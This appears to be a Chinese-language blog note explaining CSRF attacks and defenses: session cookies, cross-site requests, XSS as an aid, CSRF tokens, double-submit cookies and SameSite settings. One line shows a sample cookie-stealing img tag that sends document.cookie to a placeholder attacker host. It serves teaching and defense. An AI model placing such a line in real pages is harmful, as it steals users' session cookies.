CSRF攻擊與防禦

更新於 發佈於 閱讀時間約 13 分鐘

CSRF全名為 Cross Site Request Forgery( 跨站請求偽造)。

現在的網站大多是用cookie/session的方式來做登入驗證,我們都知道只要user登入成功後,server會在response header 夾帶 session id給瀏覽器,設定在cookie中,之後每次的request都會自動在request header中帶上這個cookie,server只認session id,因此user不用重複登入。

也因為這個特性,只要駭客拿到你存在cookie中的session id,他就可以從他的惡意網站發送request到你這個網站,header中放入偷來的cookie,就可以偽造成是你發送的request。

另一種方式是,駭客不需要拿到你的session id,但是可以讓你自己去觸發這個攻擊。 什麼意思呢?

假如你這個網站session還沒失效(還是登入狀態),不小心逛到駭客的惡意網站,偷發request到你這個網站,由於瀏覽器自動夾帶session cookie,而導致網站誤以為是登入中的user做的動作。

如果只是刪除你寫的文章那可能還好,但如果是銀行系統呢? 把你的錢都轉光,那事情可就大條啦!


至於駭客有哪些攻擊方式呢?

(1) XSS攻擊 + 透過js存取cookie

如之前提到的,利用XSS搭配js的document.cookie語法,把cookie傳到駭客的server,類似這樣:<img src="http://hack.com/hack.php?msg=document.cookie"/>
這就是一種做法。

駭客再把cookie帶在header中送request到你的網站來做攻擊。

所以session id的cookie要記得設定HttpOnly,讓駭客無法透過javascript(document.cookie)拿到session id。

(2) XSS攻擊 + 瀏覽器自動跨域傳送cookie

這邊先稍微提一下,瀏覽器可能在某些情況下,允許cross domain帶上cookie,例如chrome預設samesite是Lax,是比較寬鬆的rule,get request會自動跨域送出cookie,例如html的a tag。(關於chrome samesite設定,後面還會有詳細介紹)

舉例而言,假如有一個你常常在用的購物網站,這邊所謂的跨域是指從其他外部網站連到這個購物網站的意思,也就是從其他domain連過來購物網站,瀏覽器會自動帶上購物網站的cookies。並不是說從這個購物網站連到其他網站,會把這個購物網站的cookies送到其他網站,這邊不要搞混囉!

駭客可以透過XSS在你這個網站植入一個惡意連結,甚至是看不到的隱藏圖片,一旦你誤擊這個惡意連結,就會連到駭客的網站,駭客網站透過瀏覽器發出request到你這個網站,假如你沒有登出,加上網站防禦機制沒有處理好,就有可能被攻擊成功。

以下以程式碼來模擬這樣的情況:

raw-image
raw-image

假設這是你的網站,其中click me是被駭客XSS的惡意連結,可以看到session cookie設定上去了:

raw-image

接著按下click me會導到駭客網站去,如上程式碼,該網站又導回原本的網站,可以發現request header中包含了session cookie:

raw-image

上面程式碼只是簡單表達,cookie是會跨域傳送的,駭客也是針對這個特性做攻擊的,試想假如你的網站有個get service,可能是http://127.0.0.1/deleteArticle?id=1 類似這樣的url,駭客就可以打這個service來做攻擊,因為cookie會被帶上,網站判斷是登入狀態,文章就被刪除了。

現在知道危險性了嗎? 你可能會想說,那我把service改成post不就好了? 是的,在cookie samesite=Lax的情況下,post request cookie無法跨域。但是! 如果駭客是在同域攻擊呢?
舉例來說,例如你的網站有上傳檔案的功能,駭客偷偷上傳惡意程式碼,因此這個程式碼是在你的網站,駭客的惡意網站程式從不同域變成同域,所以就算改成post也並非一定安全。

(3) Note:
以上介紹的攻擊手法,並不是說一定要XSS才能做CSRF攻擊,而是搭配XSS可以更容易做到,CSRF本身是可以獨立做攻擊的,因為CSRF是利用偽造成是user的方式來達到攻擊的目的,不需要真的拿到cookies資訊。

假如你的網站沒有XSS風險,user若是誤擊駭客的惡意網站連結,還是有可能被CSRF攻擊,因此並不是說不會被XSS就沒事。


那麼該如何防禦CSRF攻擊呢?

1. Server檢查request來源

如上述所說的例子,既然是從駭客的惡意網站來的request,那只要不是本網站允許的request就全擋掉就好啦?

是的,server端可以透過request header中的Referer欄位,來判斷這個request是從哪邊來的,判斷到不允許的domain直接擋掉。但是如果駭客很厲害,可以偽造成是網站的domain,那這個方法就無效了。
BTW: 你可能會問為什麼不用Origin來判斷,因為在某些情況下,可能不會有這個欄位,如IE 11 不會在跨站request帶上Origin。

2. 使用CSRF Token

在撇開XSS的情況下,CSRF攻擊之所以可以成功,並不是因為駭客獲取你的cookie資訊,而是偽裝成是你。

因此,我們可以要求每次的request都必須帶上密碼,用來區分到底是不是正常的請求,因為駭客不知道這個密碼,所以駭客的request就會被擋住,這個密碼我們一般稱為CSRF Token。

CSRF token是由server產生的並儲存在session中,user登入成功後在session設定一組隨機產生的csrf token,並把這個token回傳給前端,前端每次送request都要帶上token,由server來比對是否跟儲存在session中的token是一樣的。
如果是表單,一般會用input hidden來藏token,ajax的話一般會帶在header。

還記得XSS攻擊那篇嗎? 駭客都可以把cookie傳到他那邊了,因此也有可能把CSRF token偷走,畢竟是藏在前端,假如駭客知道網站把token藏在哪,透過js還是可以把token送到它的server。
也就是說,如果網站有XSS風險,這個方法就無效了。

3. Double Submit Cookie

類似上面提到的,也是由server產生csrf token,但是不儲存在session,儲存在cookie,一樣把csrf token藏在前端,每次request由後端比對與cookie中儲存的csrf token是否一樣。

撇開XSS不講,這個防禦方法正是利用駭客無法取得跨域cookies的特點。

由於csrf token儲存在cookie中,即使在cookie samesite=Lax的設定下,get request 瀏覽器雖然會自動送出cookies,但由於駭客不知道cookie中的csrf token value,所以就算在前端form或ajax header中隨便帶一組token,也一定會比對不成功。

但是假如網站被XSS攻擊的話,駭客可以偷偷修改cookies,把csrf token改成他設定的,那就會被攻擊成功了。

另外有一種情況,假如你的網站是前端是www.sample.com,後端是api.sample.com,前端向後端發出post request,需要送出cookie中的csrf token,表單用input hidden,ajax放在header。
但由於前後端domain不一樣,前端拿不到cookie,如下程式碼範例:

raw-image
raw-image

後端先設定一個cookie上去:

raw-image

接著執行前端網站:

raw-image

可以發現從前端根本拿不到cookies,原因是cookie設定的domain與path的限制,只有api.sample.com拿的到。

因此為了達到雙重cookie驗證的目的,必須想辦法讓前端可以讀取cookies:

raw-image

一樣先執行後端,讓cookie設定上去:

raw-image

接著就可以看到,前端可以拿到token了!

raw-image

因此可以發現,為了使用雙重cookie驗證,讓前端可以讀取cookie,必須把cookie domain設為sample.com,因此所有的sub domain就都可以讀取了。

問題也就來了,萬一你的子網域網站有XSS漏洞,例如可能還有video.sample.com, music.sample.com等等網站,被駭客XSS,駭客是可以修改cookie的,把csrf token改成它的,那就被攻擊成功了。

因此,這個方法沒有被廣泛使用,因為其實沒有比上述的把csrf token存在server還安全,畢竟cookie是有可能被修改的。

4. 限制瀏覽器cookie跨域傳送

CSRF攻擊其實就是基於瀏覽器跨域傳送cookie的特性,來達到攻擊的目的。
所以只要我們讓瀏覽器不要跨域傳送cookie,就會安全許多啦! (當然如果你的網站被XSS變成同域,那就另當別論了。)
現在新版的瀏覽器漸漸開始支援cookie的samesite設定了,透過Cookie SameSite屬性的設定,可以控制cookie是否能跨域傳送。

Chrome 80 之後的 Cookie SameSite屬性設定有三種(預設為 Lax):

  • Strict => 最嚴格,只有domain完全一樣才能發送。
  • Lax => 較寬鬆,例如<a>, <link rel="prerender">, <form method="GET"> 這些get request都可以跨域帶上cookie。
  • None => 一定要多設定Secure屬性,才能允許跨網域發送,且需要HTTPS。

缺點: 目前並非所有的瀏覽器都支持 SameSite 的功能。
可參考: https://caniuse.com/same-site-cookie-attribute

至於為什麼會設計一個Lax出來呢? 我想應該是因為要避免降低使用者體驗吧,例如你有登入過A網站了,但是你關掉A網站先去逛別的網站,之後又點了A網站連結想回來逛逛,如果沒傳送cookie就會被要求重新登入,對user來講是很麻煩的!

結論:

CSRF攻擊的防禦並不是只要針對CSRF做防禦而已,如上述提到的,駭客可能搭配XSS來做攻擊,因此確保網站能夠防禦XSS跟CSRF才是最安全的。
本文章提到許多防禦CSRF攻擊的方法,設定samesite cookie 屬性雖然可以從源頭解決問題,但目前並非所有瀏覽器都有支援,因此最好搭配本文提到的其他防禦方法,才是最安全的。


本筆記參考:
1. https://medium.com/@Tommmmm/csrf-%E6%94%BB%E6%93%8A%E5%8E%9F%E7%90%86-d0f2a51810ca
2. https://blog.techbridge.cc/2017/02/25/csrf-introduction/
3. https://kknews.cc/zh-tw/tech/veqpbna.html
4. https://blog.csdn.net/u013451157/article/details/98478484
5. https://yakimhsu.com/project/project_w12_Info_Security-CSRF.html
6. https://www.itread01.com/fyfqe.html

留言
avatar-img
留言分享你的想法!
avatar-img
Vic Lin的沙龍
20會員
161內容數
Vic Lin的沙龍的其他內容
2023/08/13
父元件 傳遞方法使用@ <template>    ...    <Login @modalClose="modalClose"/> ... </template> <script setup>     const _modal = ref();     function m
2023/08/13
父元件 傳遞方法使用@ <template>    ...    <Login @modalClose="modalClose"/> ... </template> <script setup>     const _modal = ref();     function m
2023/03/25
前情提要 由於我的筆電已經用了10年,無法再戰下去了,且有預算考量,加上使用電腦幾乎都是定點,只有偶爾回家的時候會需要攜帶,因此最終選擇了迷你電腦,體積小不占空間,又方便攜帶,剛好符合我的需求。 菜單 由於這台無法裝獨顯,所以CPU的部分選擇 AMD R5 3400G(含Vega 11內
Thumbnail
2023/03/25
前情提要 由於我的筆電已經用了10年,無法再戰下去了,且有預算考量,加上使用電腦幾乎都是定點,只有偶爾回家的時候會需要攜帶,因此最終選擇了迷你電腦,體積小不占空間,又方便攜帶,剛好符合我的需求。 菜單 由於這台無法裝獨顯,所以CPU的部分選擇 AMD R5 3400G(含Vega 11內
Thumbnail
2023/03/10
Nuxt3中可使用useFetch來獲取數據,不須再引用axios,相當方便: 本筆記參考: https://juejin.cn/post/7104071421160063012 https://juejin.cn/post/7086472647575339045
2023/03/10
Nuxt3中可使用useFetch來獲取數據,不須再引用axios,相當方便: 本筆記參考: https://juejin.cn/post/7104071421160063012 https://juejin.cn/post/7086472647575339045
看更多